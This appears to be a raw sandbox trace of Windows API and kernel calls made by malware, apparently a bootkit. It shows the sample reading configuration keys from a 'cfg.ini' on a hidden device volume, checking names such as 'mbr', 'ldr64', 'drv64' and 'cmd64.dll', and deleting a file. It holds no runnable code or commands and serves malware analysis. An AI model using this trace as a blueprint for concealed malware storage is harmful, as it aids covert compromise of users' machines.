KeWaitForMutexObject () returned 0x0 [0128.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.409] KeLeaveCriticalRegion () [0128.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.409] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.409] KeEnterCriticalRegion () [0128.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0128.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.409] IdePortDispatch () returned 0x103 [0128.409] KeWaitForMutexObject () returned 0x0 [0128.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.409] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.409] IdePortDispatch () returned 0x103 [0128.409] KeWaitForMutexObject () returned 0x0 [0128.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.409] KeLeaveCriticalRegion () [0128.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.410] KeEnterCriticalRegion () [0128.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] KeLeaveCriticalRegion () [0128.410] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.410] KeEnterCriticalRegion () [0128.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] KeLeaveCriticalRegion () [0128.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.410] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.410] KeEnterCriticalRegion () [0128.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] ExFreePoolWithTag (P=0xfffffa8003bff8c0, Tag=0x0) [0128.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] KeLeaveCriticalRegion () [0128.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.410] ReleaseMutex (hMutex=0xf0) returned 1 [0128.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.410] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.410] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.410] KeEnterCriticalRegion () [0128.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.411] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.411] IdePortDispatch () returned 0x103 [0128.411] KeWaitForMutexObject () returned 0x0 [0128.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.411] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.411] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.411] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.411] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.411] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.411] KeLeaveCriticalRegion () [0128.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.411] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.411] KeEnterCriticalRegion () [0128.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.411] KeLeaveCriticalRegion () [0128.411] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.411] KeEnterCriticalRegion () [0128.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.411] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.411] IdePortDispatch () returned 0x103 [0128.411] KeWaitForMutexObject () returned 0x0 [0128.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.411] KeLeaveCriticalRegion () [0128.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.412] KeEnterCriticalRegion () [0128.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0128.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.412] IdePortDispatch () returned 0x103 [0128.412] KeWaitForMutexObject () returned 0x0 [0128.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.412] IdePortDispatch () returned 0x103 [0128.412] KeWaitForMutexObject () returned 0x0 [0128.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.412] KeLeaveCriticalRegion () [0128.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.413] KeEnterCriticalRegion () [0128.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] KeLeaveCriticalRegion () [0128.413] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.413] KeEnterCriticalRegion () [0128.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.413] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] KeLeaveCriticalRegion () [0128.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.413] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.413] KeEnterCriticalRegion () [0128.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.413] KeLeaveCriticalRegion () [0128.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.413] ReleaseMutex (hMutex=0xf0) returned 1 [0128.413] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.413] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.413] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.413] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.413] KeEnterCriticalRegion () [0128.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.414] IdePortDispatch () returned 0x103 [0128.414] KeWaitForMutexObject () returned 0x0 [0128.414] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.414] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.414] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.414] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.414] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.414] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.414] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.415] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.415] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.415] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.415] KeLeaveCriticalRegion () [0128.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.415] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.415] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.415] KeEnterCriticalRegion () [0128.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.415] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.415] IdePortDispatch () returned 0x103 [0128.415] KeWaitForMutexObject () returned 0x0 [0128.415] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.415] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.415] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.415] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.415] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.415] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.415] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.415] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.415] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.415] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.415] KeLeaveCriticalRegion () [0128.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.415] ReleaseMutex (hMutex=0x100) returned 1 [0128.415] Sleep (dwMilliseconds=0x2bf20) [0128.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fbd4ed0, dwHighDateTime=0x1d24fa4)) [0128.422] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.422] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.422] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.422] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.422] KeEnterCriticalRegion () [0128.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.422] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.422] IdePortDispatch () returned 0x103 [0128.422] KeWaitForMutexObject () returned 0x0 [0128.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe350 [0128.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.422] KeLeaveCriticalRegion () [0128.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.423] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.423] KeEnterCriticalRegion () [0128.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.423] KeLeaveCriticalRegion () [0128.423] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.423] KeEnterCriticalRegion () [0128.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.423] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.423] IdePortDispatch () returned 0x103 [0128.423] KeWaitForMutexObject () returned 0x0 [0128.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.423] KeLeaveCriticalRegion () [0128.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.423] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.423] KeEnterCriticalRegion () [0128.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0128.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.423] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.423] IdePortDispatch () returned 0x103 [0128.423] KeWaitForMutexObject () returned 0x0 [0128.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.424] IdePortDispatch () returned 0x103 [0128.424] KeWaitForMutexObject () returned 0x0 [0128.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.424] KeLeaveCriticalRegion () [0128.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.424] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.424] KeEnterCriticalRegion () [0128.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.424] KeLeaveCriticalRegion () [0128.424] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.425] KeEnterCriticalRegion () [0128.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.425] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] KeLeaveCriticalRegion () [0128.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.425] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.425] KeEnterCriticalRegion () [0128.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] ExFreePoolWithTag (P=0xfffffa8003bfe350, Tag=0x0) [0128.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] KeLeaveCriticalRegion () [0128.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.425] ReleaseMutex (hMutex=0xf0) returned 1 [0128.425] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.425] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.425] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.425] 